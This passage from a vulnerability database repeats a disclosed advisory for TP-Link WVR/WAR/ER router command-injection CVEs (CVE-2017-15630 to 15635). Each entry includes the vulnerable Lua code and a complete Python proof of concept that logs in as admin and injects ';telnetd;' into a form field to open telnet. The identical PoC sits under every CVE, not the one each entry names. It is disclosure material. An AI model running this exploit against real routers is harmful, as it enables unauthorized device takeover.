vul_data = {"method":"add","params":{"index":0,"old":"add","new":{"interface":"WAN1%s" % (payload),"name":"test1","passwd":"test","enable":"on"},"key":"add"}}
vul_data = {'data': json.dumps(vul_data)}
print '[+] sending payload'
res = s.post(tmp_vul, data=vul_data)
print '[*] response is: %s' % (res.text)
***********************************
Reference:
================
https://github.com/chunibalon/Vulnerability/blob/master/CVE-2017-15613_to_CVE-2017-15637.txt
| VAR-201801-0561 | CVE-2017-15630 | plural TP-Link Command injection vulnerability in devices |
CVSS V2: 9.0 CVSS V3: 7.2 Severity: HIGH |
TP-Link WVR, WAR and ER devices allow remote authenticated administrators to execute arbitrary commands via command injection in the new-remotesubnet variable in the pptp_client.lua file. TP-Link WVR , WAR ,and ER The device contains a command injection vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. TP-LinkWVR, WAR and ERdevices are different series of router products from China TP-LINK. Security vulnerabilities exist in TP-LinkWVR, WAR, and ER devices.
These vulnerabilities can be triggered in LAN and WAN(if the "remote management" function is enabled).
Vulnerability Type:
================
Command Injection (Authenticated)
Product:
================
We has tested these vulnerabilities on TL-WVR450L(the latest version is TL-WVR450L V1.0161125) and TL-WVR900G(TL-WVR900G V3.0_170306).
And the following model should also be affected and the vendor has confirmed:
TP-Link ER5110G,
TP-Link ER5120G,
TP-Link ER5510G,
TP-Link ER5520G,
TP-Link R4149G,
TP-Link R4239G,
TP-Link R4299G,
TP-Link R473GP-AC,
TP-Link R473G,
TP-Link R473P-AC,
TP-Link R473,
TP-Link R478G+,
TP-Link R478,
TP-Link R478+,
TP-Link R483G,
TP-Link R483,
TP-Link R488,
TP-Link WAR1300L,
TP-Link WAR1750L,
TP-Link WAR2600L,
TP-Link WAR302,
TP-Link WAR450L,
TP-Link WAR450,
TP-Link WAR458L,
TP-Link WAR458,
TP-Link WAR900L,
TP-Link WVR1300G,
TP-Link WVR1300L,
TP-Link WVR1750L,
TP-Link WVR2600L,
TP-Link WVR300,
TP-Link WVR302,
TP-Link WVR4300L,
TP-Link WVR450L,
TP-Link WVR450,
TP-Link WVR458L,
TP-Link WVR900G,
TP-Link WVR900L
CVE details:
================
The detail of each vulnerability are as follows:
CVE-2017-15613: new-interface variable in the cmxddns.lua file
CVE-2017-15614: new-outif variable in the pptp_client.lua file
CVE-2017-15615: lcpechointerval variable in the pptp_client.lua file
CVE-2017-15616: new-interface variable in the phddns.lua file
CVE-2017-15617: iface variable in the interface_wan.lua file
CVE-2017-15618: new-enable variable in the pptp_client.lua file
CVE-2017-15619: pptphellointerval variable in the pptp_client.lua file
CVE-2017-15620: new-zone variable in the ipmac_import.lua file
CVE-2017-15621: olmode variable in the interface_wan.lua file
CVE-2017-15622: new-mppeencryption variable in the pptp_client.lua file
CVE-2017-15623: new-enable variable in the pptp_server.lua file
CVE-2017-15624: new-authtype variable in the pptp_server.lua file
CVE-2017-15625: new-olmode variable in the pptp_client.lua file
CVE-2017-15626: new-bindif variable in the pptp_server.lua file
CVE-2017-15627: new-pns variable in the pptp_client.lua file
CVE-2017-15628: lcpechointerval variable in the pptp_server.lua file
CVE-2017-15629: new-tunnelname variable in the pptp_client.lua file
CVE-2017-15630: new-remotesubnet variable in the pptp_client.lua file
CVE-2017-15631: new-workmode variable in the pptp_client.lua file
CVE-2017-15632: new-mppeencryption variable in the pptp_server.lua file
CVE-2017-15633: new-ipgroup variable in the session_limits.lua file
CVE-2017-15634: name variable in the wportal.lua file
CVE-2017-15635: max_conn variable in the session_limits.lua file
CVE-2017-15636: new-time variable in the webfilter.lua file
CVE-2017-15637: pptphellointerval variable in the pptp_server.lua file
Credits:
================
chunibalon, puzzor @VARAS of IIE
Timeline:
================
2017.08 to 2017.09: Issues found.
2017.09.26: Vendor contacted.
2017.10.13: Vendor confirmed.
2017.10.14: CVE id requested.
2017.10.19: CVE id assigned.
2018.1: Vendor confirmed that all effected products have been fixed.
Vulnerability detail:
================
These vulnerability are caused by the similar reason, so here is an explanation of CVE-2017-15616.
Other vulnerabilities can be reproduced with the detail descriptions of the variable and lua file.
In /usr/lib/lua/luci/controller/admin/phddns.lua file, line 113:
***********************************
function add_phddns(http_form)
local form_data = json.decode(http_form.data)
local jdata = form_data.params.new
ret = form:insert(CONFIG_NAME, "phddns", jdata, RULE_KEYS, nil)
if not ret then
return false, err.ERR_COM_TABLE_ITEM_UCI_ADD
end
if not uci_r:commit(CONFIG_NAME) then
return false, err.ERR_COM_UCI_COMMIT
end
-- add the ref of interface
ifs.update_if_reference(jdata.interface, 1)
sys.fork_exec('/etc/init.d/phddns restart')
userconfig.cfg_modify()
return jdata
end
***********************************
This file will process a POST request from the web management panel with url "ip/cgi-bin/luci/;stok=xxx/admin/phddns?form=phddns".
The interface argument passed by the POST request can be set with the malformed command payload and the lua file didn't check the argument sufficiently.
Then the malformed value of "interface" argument causes the command injection vulnerability.
PoC file:
================
***********************************
import requests
import urllib
import json
# This is the PoC code of authenticated command injection of TP-Link WVR900G router with the CVE-2017-15616.
# To reproduce the PoC, the ip of the router should be 192.168.123.1 and the password of web management panel should be 'adminadmin'
PASSWORD = 'c6564879eda92681404fb4ce64343788e47d266c490bb9d574f4467644a2f96b73ec157bbffabb50752c46f55d026ec7ef34661d7dcb030b0b1fa527173093ae4358f4740e539322f58c441ea0003978475346fb66320f749cc138f867bc0d8d9501f1613524fbba565979d95df6ef412837dee15a6dd8867d00b91c6f4a3406'
BASEURL = 'http://192.168.123.1'
LOGINURL = BASEURL + '/cgi-bin/luci/;stok=/login?form=login'
MARK = '###'
VULURL = BASEURL + '/cgi-bin/luci/;stok=%s/admin/phddns?form=phddns' % (MARK)
headers = {
"Accept": "application/json, text/javascript, */*; q=0.01",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.6,en;q=0.4",
"Connection": "keep-alive",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Host": BASEURL[7:],
"Origin": BASEURL,
"Referer": "%s/webpages/login.html" % (BASEURL),
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36",
"X-Requested-With": "XMLHttpRequest"
}
login_data_value = {'method': 'login','params': {'password': PASSWORD,'username': 'admin'}}
login_data = {'data':json.dumps(login_data_value)}
s = requests.Session()
s.headers.update(headers)
print (LOGINURL)
print (login_data)
res = s.post(LOGINURL, data=login_data)
stok = eval(res.text)['result']['stok']
print '[*] stok is %s' % (stok)
tmp_vul = VULURL.replace(MARK, stok)
print '[*] vul_url is %s ' % (tmp_vul)
delete_data = {"method":"delete","params":{"key":"key-0","index":"0"}}
delete_data = {'data': json.dumps(delete_data)}
print '[+] delete existed rule'
res = s.post(tmp_vul, data=delete_data)
print '[*] response is: %s' % (res.text)
# after executing this payload, the router will open its telnetd service.
payload = ''';telnetd;'''
vul_data = {"method":"add","params":{"index":0,"old":"add","new":{"interface":"WAN1%s" % (payload),"name":"test1","passwd":"test","enable":"on"},"key":"add"}}
vul_data = {'data': json.dumps(vul_data)}
print '[+] sending payload'
res = s.post(tmp_vul, data=vul_data)
print '[*] response is: %s' % (res.text)
***********************************
Reference:
================
https://github.com/chunibalon/Vulnerability/blob/master/CVE-2017-15613_to_CVE-2017-15637.txt
| VAR-201801-0562 | CVE-2017-15631 | plural TP-Link Command injection vulnerability in devices |
CVSS V2: 9.0 CVSS V3: 7.2 Severity: HIGH |
TP-Link WVR, WAR and ER devices allow remote authenticated administrators to execute arbitrary commands via command injection in the new-workmode variable in the pptp_client.lua file. TP-Link WVR , WAR ,and ER The device contains a command injection vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. TP-LinkWVR, WAR and ERdevices are different series of router products from China TP-LINK. Security vulnerabilities exist in TP-LinkWVR, WAR, and ER devices.
These vulnerabilities can be triggered in LAN and WAN(if the "remote management" function is enabled).
Vulnerability Type:
================
Command Injection (Authenticated)
Product:
================
We has tested these vulnerabilities on TL-WVR450L(the latest version is TL-WVR450L V1.0161125) and TL-WVR900G(TL-WVR900G V3.0_170306).
And the following model should also be affected and the vendor has confirmed:
TP-Link ER5110G,
TP-Link ER5120G,
TP-Link ER5510G,
TP-Link ER5520G,
TP-Link R4149G,
TP-Link R4239G,
TP-Link R4299G,
TP-Link R473GP-AC,
TP-Link R473G,
TP-Link R473P-AC,
TP-Link R473,
TP-Link R478G+,
TP-Link R478,
TP-Link R478+,
TP-Link R483G,
TP-Link R483,
TP-Link R488,
TP-Link WAR1300L,
TP-Link WAR1750L,
TP-Link WAR2600L,
TP-Link WAR302,
TP-Link WAR450L,
TP-Link WAR450,
TP-Link WAR458L,
TP-Link WAR458,
TP-Link WAR900L,
TP-Link WVR1300G,
TP-Link WVR1300L,
TP-Link WVR1750L,
TP-Link WVR2600L,
TP-Link WVR300,
TP-Link WVR302,
TP-Link WVR4300L,
TP-Link WVR450L,
TP-Link WVR450,
TP-Link WVR458L,
TP-Link WVR900G,
TP-Link WVR900L
CVE details:
================
The detail of each vulnerability are as follows:
CVE-2017-15613: new-interface variable in the cmxddns.lua file
CVE-2017-15614: new-outif variable in the pptp_client.lua file
CVE-2017-15615: lcpechointerval variable in the pptp_client.lua file
CVE-2017-15616: new-interface variable in the phddns.lua file
CVE-2017-15617: iface variable in the interface_wan.lua file
CVE-2017-15618: new-enable variable in the pptp_client.lua file
CVE-2017-15619: pptphellointerval variable in the pptp_client.lua file
CVE-2017-15620: new-zone variable in the ipmac_import.lua file
CVE-2017-15621: olmode variable in the interface_wan.lua file
CVE-2017-15622: new-mppeencryption variable in the pptp_client.lua file
CVE-2017-15623: new-enable variable in the pptp_server.lua file
CVE-2017-15624: new-authtype variable in the pptp_server.lua file
CVE-2017-15625: new-olmode variable in the pptp_client.lua file
CVE-2017-15626: new-bindif variable in the pptp_server.lua file
CVE-2017-15627: new-pns variable in the pptp_client.lua file
CVE-2017-15628: lcpechointerval variable in the pptp_server.lua file
CVE-2017-15629: new-tunnelname variable in the pptp_client.lua file
CVE-2017-15630: new-remotesubnet variable in the pptp_client.lua file
CVE-2017-15631: new-workmode variable in the pptp_client.lua file
CVE-2017-15632: new-mppeencryption variable in the pptp_server.lua file
CVE-2017-15633: new-ipgroup variable in the session_limits.lua file
CVE-2017-15634: name variable in the wportal.lua file
CVE-2017-15635: max_conn variable in the session_limits.lua file
CVE-2017-15636: new-time variable in the webfilter.lua file
CVE-2017-15637: pptphellointerval variable in the pptp_server.lua file
Credits:
================
chunibalon, puzzor @VARAS of IIE
Timeline:
================
2017.08 to 2017.09: Issues found.
2017.09.26: Vendor contacted.
2017.10.13: Vendor confirmed.
2017.10.14: CVE id requested.
2017.10.19: CVE id assigned.
2018.1: Vendor confirmed that all effected products have been fixed.
Vulnerability detail:
================
These vulnerability are caused by the similar reason, so here is an explanation of CVE-2017-15616.
Other vulnerabilities can be reproduced with the detail descriptions of the variable and lua file.
In /usr/lib/lua/luci/controller/admin/phddns.lua file, line 113:
***********************************
function add_phddns(http_form)
local form_data = json.decode(http_form.data)
local jdata = form_data.params.new
ret = form:insert(CONFIG_NAME, "phddns", jdata, RULE_KEYS, nil)
if not ret then
return false, err.ERR_COM_TABLE_ITEM_UCI_ADD
end
if not uci_r:commit(CONFIG_NAME) then
return false, err.ERR_COM_UCI_COMMIT
end
-- add the ref of interface
ifs.update_if_reference(jdata.interface, 1)
sys.fork_exec('/etc/init.d/phddns restart')
userconfig.cfg_modify()
return jdata
end
***********************************
This file will process a POST request from the web management panel with url "ip/cgi-bin/luci/;stok=xxx/admin/phddns?form=phddns".
The interface argument passed by the POST request can be set with the malformed command payload and the lua file didn't check the argument sufficiently.
Then the malformed value of "interface" argument causes the command injection vulnerability.
PoC file:
================
***********************************
import requests
import urllib
import json
# This is the PoC code of authenticated command injection of TP-Link WVR900G router with the CVE-2017-15616.
# To reproduce the PoC, the ip of the router should be 192.168.123.1 and the password of web management panel should be 'adminadmin'
PASSWORD = 'c6564879eda92681404fb4ce64343788e47d266c490bb9d574f4467644a2f96b73ec157bbffabb50752c46f55d026ec7ef34661d7dcb030b0b1fa527173093ae4358f4740e539322f58c441ea0003978475346fb66320f749cc138f867bc0d8d9501f1613524fbba565979d95df6ef412837dee15a6dd8867d00b91c6f4a3406'
BASEURL = 'http://192.168.123.1'
LOGINURL = BASEURL + '/cgi-bin/luci/;stok=/login?form=login'
MARK = '###'
VULURL = BASEURL + '/cgi-bin/luci/;stok=%s/admin/phddns?form=phddns' % (MARK)
headers = {
"Accept": "application/json, text/javascript, */*; q=0.01",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.6,en;q=0.4",
"Connection": "keep-alive",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Host": BASEURL[7:],
"Origin": BASEURL,
"Referer": "%s/webpages/login.html" % (BASEURL),
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36",
"X-Requested-With": "XMLHttpRequest"
}
login_data_value = {'method': 'login','params': {'password': PASSWORD,'username': 'admin'}}
login_data = {'data':json.dumps(login_data_value)}
s = requests.Session()
s.headers.update(headers)
print (LOGINURL)
print (login_data)
res = s.post(LOGINURL, data=login_data)
stok = eval(res.text)['result']['stok']
print '[*] stok is %s' % (stok)
tmp_vul = VULURL.replace(MARK, stok)
print '[*] vul_url is %s ' % (tmp_vul)
delete_data = {"method":"delete","params":{"key":"key-0","index":"0"}}
delete_data = {'data': json.dumps(delete_data)}
print '[+] delete existed rule'
res = s.post(tmp_vul, data=delete_data)
print '[*] response is: %s' % (res.text)
# after executing this payload, the router will open its telnetd service.
payload = ''';telnetd;'''
vul_data = {"method":"add","params":{"index":0,"old":"add","new":{"interface":"WAN1%s" % (payload),"name":"test1","passwd":"test","enable":"on"},"key":"add"}}
vul_data = {'data': json.dumps(vul_data)}
print '[+] sending payload'
res = s.post(tmp_vul, data=vul_data)
print '[*] response is: %s' % (res.text)
***********************************
Reference:
================
https://github.com/chunibalon/Vulnerability/blob/master/CVE-2017-15613_to_CVE-2017-15637.txt
| VAR-201801-0563 | CVE-2017-15632 | plural TP-Link Command injection vulnerability in devices |
CVSS V2: 9.0 CVSS V3: 7.2 Severity: HIGH |
TP-Link WVR, WAR and ER devices allow remote authenticated administrators to execute arbitrary commands via command injection in the new-mppeencryption variable in the pptp_server.lua file. TP-Link WVR , WAR ,and ER The device contains a command injection vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. TP-LinkWVR, WAR and ERdevices are different series of router products from China TP-LINK. Security vulnerabilities exist in TP-LinkWVR, WAR, and ER devices.
These vulnerabilities can be triggered in LAN and WAN(if the "remote management" function is enabled).
Vulnerability Type:
================
Command Injection (Authenticated)
Product:
================
We has tested these vulnerabilities on TL-WVR450L(the latest version is TL-WVR450L V1.0161125) and TL-WVR900G(TL-WVR900G V3.0_170306).
And the following model should also be affected and the vendor has confirmed:
TP-Link ER5110G,
TP-Link ER5120G,
TP-Link ER5510G,
TP-Link ER5520G,
TP-Link R4149G,
TP-Link R4239G,
TP-Link R4299G,
TP-Link R473GP-AC,
TP-Link R473G,
TP-Link R473P-AC,
TP-Link R473,
TP-Link R478G+,
TP-Link R478,
TP-Link R478+,
TP-Link R483G,
TP-Link R483,
TP-Link R488,
TP-Link WAR1300L,
TP-Link WAR1750L,
TP-Link WAR2600L,
TP-Link WAR302,
TP-Link WAR450L,
TP-Link WAR450,
TP-Link WAR458L,
TP-Link WAR458,
TP-Link WAR900L,
TP-Link WVR1300G,
TP-Link WVR1300L,
TP-Link WVR1750L,
TP-Link WVR2600L,
TP-Link WVR300,
TP-Link WVR302,
TP-Link WVR4300L,
TP-Link WVR450L,
TP-Link WVR450,
TP-Link WVR458L,
TP-Link WVR900G,
TP-Link WVR900L
CVE details:
================
The detail of each vulnerability are as follows:
CVE-2017-15613: new-interface variable in the cmxddns.lua file
CVE-2017-15614: new-outif variable in the pptp_client.lua file
CVE-2017-15615: lcpechointerval variable in the pptp_client.lua file
CVE-2017-15616: new-interface variable in the phddns.lua file
CVE-2017-15617: iface variable in the interface_wan.lua file
CVE-2017-15618: new-enable variable in the pptp_client.lua file
CVE-2017-15619: pptphellointerval variable in the pptp_client.lua file
CVE-2017-15620: new-zone variable in the ipmac_import.lua file
CVE-2017-15621: olmode variable in the interface_wan.lua file
CVE-2017-15622: new-mppeencryption variable in the pptp_client.lua file
CVE-2017-15623: new-enable variable in the pptp_server.lua file
CVE-2017-15624: new-authtype variable in the pptp_server.lua file
CVE-2017-15625: new-olmode variable in the pptp_client.lua file
CVE-2017-15626: new-bindif variable in the pptp_server.lua file
CVE-2017-15627: new-pns variable in the pptp_client.lua file
CVE-2017-15628: lcpechointerval variable in the pptp_server.lua file
CVE-2017-15629: new-tunnelname variable in the pptp_client.lua file
CVE-2017-15630: new-remotesubnet variable in the pptp_client.lua file
CVE-2017-15631: new-workmode variable in the pptp_client.lua file
CVE-2017-15632: new-mppeencryption variable in the pptp_server.lua file
CVE-2017-15633: new-ipgroup variable in the session_limits.lua file
CVE-2017-15634: name variable in the wportal.lua file
CVE-2017-15635: max_conn variable in the session_limits.lua file
CVE-2017-15636: new-time variable in the webfilter.lua file
CVE-2017-15637: pptphellointerval variable in the pptp_server.lua file
Credits:
================
chunibalon, puzzor @VARAS of IIE
Timeline:
================
2017.08 to 2017.09: Issues found.
2017.09.26: Vendor contacted.
2017.10.13: Vendor confirmed.
2017.10.14: CVE id requested.
2017.10.19: CVE id assigned.
2018.1: Vendor confirmed that all effected products have been fixed.
Vulnerability detail:
================
These vulnerability are caused by the similar reason, so here is an explanation of CVE-2017-15616.
Other vulnerabilities can be reproduced with the detail descriptions of the variable and lua file.
In /usr/lib/lua/luci/controller/admin/phddns.lua file, line 113:
***********************************
function add_phddns(http_form)
local form_data = json.decode(http_form.data)
local jdata = form_data.params.new
ret = form:insert(CONFIG_NAME, "phddns", jdata, RULE_KEYS, nil)
if not ret then
return false, err.ERR_COM_TABLE_ITEM_UCI_ADD
end
if not uci_r:commit(CONFIG_NAME) then
return false, err.ERR_COM_UCI_COMMIT
end
-- add the ref of interface
ifs.update_if_reference(jdata.interface, 1)
sys.fork_exec('/etc/init.d/phddns restart')
userconfig.cfg_modify()
return jdata
end
***********************************
This file will process a POST request from the web management panel with url "ip/cgi-bin/luci/;stok=xxx/admin/phddns?form=phddns".
The interface argument passed by the POST request can be set with the malformed command payload and the lua file didn't check the argument sufficiently.
Then the malformed value of "interface" argument causes the command injection vulnerability.
PoC file:
================
***********************************
import requests
import urllib
import json
# This is the PoC code of authenticated command injection of TP-Link WVR900G router with the CVE-2017-15616.
# To reproduce the PoC, the ip of the router should be 192.168.123.1 and the password of web management panel should be 'adminadmin'
PASSWORD = 'c6564879eda92681404fb4ce64343788e47d266c490bb9d574f4467644a2f96b73ec157bbffabb50752c46f55d026ec7ef34661d7dcb030b0b1fa527173093ae4358f4740e539322f58c441ea0003978475346fb66320f749cc138f867bc0d8d9501f1613524fbba565979d95df6ef412837dee15a6dd8867d00b91c6f4a3406'
BASEURL = 'http://192.168.123.1'
LOGINURL = BASEURL + '/cgi-bin/luci/;stok=/login?form=login'
MARK = '###'
VULURL = BASEURL + '/cgi-bin/luci/;stok=%s/admin/phddns?form=phddns' % (MARK)
headers = {
"Accept": "application/json, text/javascript, */*; q=0.01",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.6,en;q=0.4",
"Connection": "keep-alive",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Host": BASEURL[7:],
"Origin": BASEURL,
"Referer": "%s/webpages/login.html" % (BASEURL),
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36",
"X-Requested-With": "XMLHttpRequest"
}
login_data_value = {'method': 'login','params': {'password': PASSWORD,'username': 'admin'}}
login_data = {'data':json.dumps(login_data_value)}
s = requests.Session()
s.headers.update(headers)
print (LOGINURL)
print (login_data)
res = s.post(LOGINURL, data=login_data)
stok = eval(res.text)['result']['stok']
print '[*] stok is %s' % (stok)
tmp_vul = VULURL.replace(MARK, stok)
print '[*] vul_url is %s ' % (tmp_vul)
delete_data = {"method":"delete","params":{"key":"key-0","index":"0"}}
delete_data = {'data': json.dumps(delete_data)}
print '[+] delete existed rule'
res = s.post(tmp_vul, data=delete_data)
print '[*] response is: %s' % (res.text)
# after executing this payload, the router will open its telnetd service.
payload = ''';telnetd;'''
vul_data = {"method":"add","params":{"index":0,"old":"add","new":{"interface":"WAN1%s" % (payload),"name":"test1","passwd":"test","enable":"on"},"key":"add"}}
vul_data = {'data': json.dumps(vul_data)}
print '[+] sending payload'
res = s.post(tmp_vul, data=vul_data)
print '[*] response is: %s' % (res.text)
***********************************
Reference:
================
https://github.com/chunibalon/Vulnerability/blob/master/CVE-2017-15613_to_CVE-2017-15637.txt
| VAR-201801-0565 | CVE-2017-15634 | plural TP-Link Command injection vulnerability in devices |
CVSS V2: 9.0 CVSS V3: 7.2 Severity: HIGH |
TP-Link WVR, WAR and ER devices allow remote authenticated administrators to execute arbitrary commands via command injection in the name variable in the wportal.lua file. TP-Link WVR , WAR ,and ER The device contains a command injection vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. TP-LinkWVR, WAR and ERdevices are different series of router products from China TP-LINK. Security vulnerabilities exist in TP-LinkWVR, WAR, and ER devices.
These vulnerabilities can be triggered in LAN and WAN(if the "remote management" function is enabled).
Vulnerability Type:
================
Command Injection (Authenticated)
Product:
================
We has tested these vulnerabilities on TL-WVR450L(the latest version is TL-WVR450L V1.0161125) and TL-WVR900G(TL-WVR900G V3.0_170306).
And the following model should also be affected and the vendor has confirmed:
TP-Link ER5110G,
TP-Link ER5120G,
TP-Link ER5510G,
TP-Link ER5520G,
TP-Link R4149G,
TP-Link R4239G,
TP-Link R4299G,
TP-Link R473GP-AC,
TP-Link R473G,
TP-Link R473P-AC,
TP-Link R473,
TP-Link R478G+,
TP-Link R478,
TP-Link R478+,
TP-Link R483G,
TP-Link R483,
TP-Link R488,
TP-Link WAR1300L,
TP-Link WAR1750L,
TP-Link WAR2600L,
TP-Link WAR302,
TP-Link WAR450L,
TP-Link WAR450,
TP-Link WAR458L,
TP-Link WAR458,
TP-Link WAR900L,
TP-Link WVR1300G,
TP-Link WVR1300L,
TP-Link WVR1750L,
TP-Link WVR2600L,
TP-Link WVR300,
TP-Link WVR302,
TP-Link WVR4300L,
TP-Link WVR450L,
TP-Link WVR450,
TP-Link WVR458L,
TP-Link WVR900G,
TP-Link WVR900L
CVE details:
================
The detail of each vulnerability are as follows:
CVE-2017-15613: new-interface variable in the cmxddns.lua file
CVE-2017-15614: new-outif variable in the pptp_client.lua file
CVE-2017-15615: lcpechointerval variable in the pptp_client.lua file
CVE-2017-15616: new-interface variable in the phddns.lua file
CVE-2017-15617: iface variable in the interface_wan.lua file
CVE-2017-15618: new-enable variable in the pptp_client.lua file
CVE-2017-15619: pptphellointerval variable in the pptp_client.lua file
CVE-2017-15620: new-zone variable in the ipmac_import.lua file
CVE-2017-15621: olmode variable in the interface_wan.lua file
CVE-2017-15622: new-mppeencryption variable in the pptp_client.lua file
CVE-2017-15623: new-enable variable in the pptp_server.lua file
CVE-2017-15624: new-authtype variable in the pptp_server.lua file
CVE-2017-15625: new-olmode variable in the pptp_client.lua file
CVE-2017-15626: new-bindif variable in the pptp_server.lua file
CVE-2017-15627: new-pns variable in the pptp_client.lua file
CVE-2017-15628: lcpechointerval variable in the pptp_server.lua file
CVE-2017-15629: new-tunnelname variable in the pptp_client.lua file
CVE-2017-15630: new-remotesubnet variable in the pptp_client.lua file
CVE-2017-15631: new-workmode variable in the pptp_client.lua file
CVE-2017-15632: new-mppeencryption variable in the pptp_server.lua file
CVE-2017-15633: new-ipgroup variable in the session_limits.lua file
CVE-2017-15634: name variable in the wportal.lua file
CVE-2017-15635: max_conn variable in the session_limits.lua file
CVE-2017-15636: new-time variable in the webfilter.lua file
CVE-2017-15637: pptphellointerval variable in the pptp_server.lua file
Credits:
================
chunibalon, puzzor @VARAS of IIE
Timeline:
================
2017.08 to 2017.09: Issues found.
2017.09.26: Vendor contacted.
2017.10.13: Vendor confirmed.
2017.10.14: CVE id requested.
2017.10.19: CVE id assigned.
2018.1: Vendor confirmed that all effected products have been fixed.
Vulnerability detail:
================
These vulnerability are caused by the similar reason, so here is an explanation of CVE-2017-15616.
Other vulnerabilities can be reproduced with the detail descriptions of the variable and lua file.
In /usr/lib/lua/luci/controller/admin/phddns.lua file, line 113:
***********************************
function add_phddns(http_form)
local form_data = json.decode(http_form.data)
local jdata = form_data.params.new
ret = form:insert(CONFIG_NAME, "phddns", jdata, RULE_KEYS, nil)
if not ret then
return false, err.ERR_COM_TABLE_ITEM_UCI_ADD
end
if not uci_r:commit(CONFIG_NAME) then
return false, err.ERR_COM_UCI_COMMIT
end
-- add the ref of interface
ifs.update_if_reference(jdata.interface, 1)
sys.fork_exec('/etc/init.d/phddns restart')
userconfig.cfg_modify()
return jdata
end
***********************************
This file will process a POST request from the web management panel with url "ip/cgi-bin/luci/;stok=xxx/admin/phddns?form=phddns".
The interface argument passed by the POST request can be set with the malformed command payload and the lua file didn't check the argument sufficiently.
Then the malformed value of "interface" argument causes the command injection vulnerability.
PoC file:
================
***********************************
import requests
import urllib
import json
# This is the PoC code of authenticated command injection of TP-Link WVR900G router with the CVE-2017-15616.
# To reproduce the PoC, the ip of the router should be 192.168.123.1 and the password of web management panel should be 'adminadmin'
PASSWORD = 'c6564879eda92681404fb4ce64343788e47d266c490bb9d574f4467644a2f96b73ec157bbffabb50752c46f55d026ec7ef34661d7dcb030b0b1fa527173093ae4358f4740e539322f58c441ea0003978475346fb66320f749cc138f867bc0d8d9501f1613524fbba565979d95df6ef412837dee15a6dd8867d00b91c6f4a3406'
BASEURL = 'http://192.168.123.1'
LOGINURL = BASEURL + '/cgi-bin/luci/;stok=/login?form=login'
MARK = '###'
VULURL = BASEURL + '/cgi-bin/luci/;stok=%s/admin/phddns?form=phddns' % (MARK)
headers = {
"Accept": "application/json, text/javascript, */*; q=0.01",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.6,en;q=0.4",
"Connection": "keep-alive",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Host": BASEURL[7:],
"Origin": BASEURL,
"Referer": "%s/webpages/login.html" % (BASEURL),
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36",
"X-Requested-With": "XMLHttpRequest"
}
login_data_value = {'method': 'login','params': {'password': PASSWORD,'username': 'admin'}}
login_data = {'data':json.dumps(login_data_value)}
s = requests.Session()
s.headers.update(headers)
print (LOGINURL)
print (login_data)
res = s.post(LOGINURL, data=login_data)
stok = eval(res.text)['result']['stok']
print '[*] stok is %s' % (stok)
tmp_vul = VULURL.replace(MARK, stok)
print '[*] vul_url is %s ' % (tmp_vul)
delete_data = {"method":"delete","params":{"key":"key-0","index":"0"}}
delete_data = {'data': json.dumps(delete_data)}
print '[+] delete existed rule'
res = s.post(tmp_vul, data=delete_data)
print '[*] response is: %s' % (res.text)
# after executing this payload, the router will open its telnetd service.
payload = ''';telnetd;'''
vul_data = {"method":"add","params":{"index":0,"old":"add","new":{"interface":"WAN1%s" % (payload),"name":"test1","passwd":"test","enable":"on"},"key":"add"}}
vul_data = {'data': json.dumps(vul_data)}
print '[+] sending payload'
res = s.post(tmp_vul, data=vul_data)
print '[*] response is: %s' % (res.text)
***********************************
Reference:
================
https://github.com/chunibalon/Vulnerability/blob/master/CVE-2017-15613_to_CVE-2017-15637.txt
| VAR-201801-0544 | CVE-2017-15635 | plural TP-Link Command injection vulnerability in devices |
CVSS V2: 9.0 CVSS V3: 7.2 Severity: HIGH |
TP-Link WVR, WAR and ER devices allow remote authenticated administrators to execute arbitrary commands via command injection in the max_conn variable in the session_limits.lua file. TP-Link WVR , WAR ,and ER The device contains a command injection vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. TP-LinkWVR, WAR and ERdevices are different series of router products from China TP-LINK. Security vulnerabilities exist in TP-LinkWVR, WAR, and ER devices.
These vulnerabilities can be triggered in LAN and WAN(if the "remote management" function is enabled).
Vulnerability Type:
================
Command Injection (Authenticated)
Product:
================
We has tested these vulnerabilities on TL-WVR450L(the latest version is TL-WVR450L V1.0161125) and TL-WVR900G(TL-WVR900G V3.0_170306).
And the following model should also be affected and the vendor has confirmed:
TP-Link ER5110G,
TP-Link ER5120G,
TP-Link ER5510G,
TP-Link ER5520G,
TP-Link R4149G,
TP-Link R4239G,
TP-Link R4299G,
TP-Link R473GP-AC,
TP-Link R473G,
TP-Link R473P-AC,
TP-Link R473,
TP-Link R478G+,
TP-Link R478,
TP-Link R478+,
TP-Link R483G,
TP-Link R483,
TP-Link R488,
TP-Link WAR1300L,
TP-Link WAR1750L,
TP-Link WAR2600L,
TP-Link WAR302,
TP-Link WAR450L,
TP-Link WAR450,
TP-Link WAR458L,
TP-Link WAR458,
TP-Link WAR900L,
TP-Link WVR1300G,
TP-Link WVR1300L,
TP-Link WVR1750L,
TP-Link WVR2600L,
TP-Link WVR300,
TP-Link WVR302,
TP-Link WVR4300L,
TP-Link WVR450L,
TP-Link WVR450,
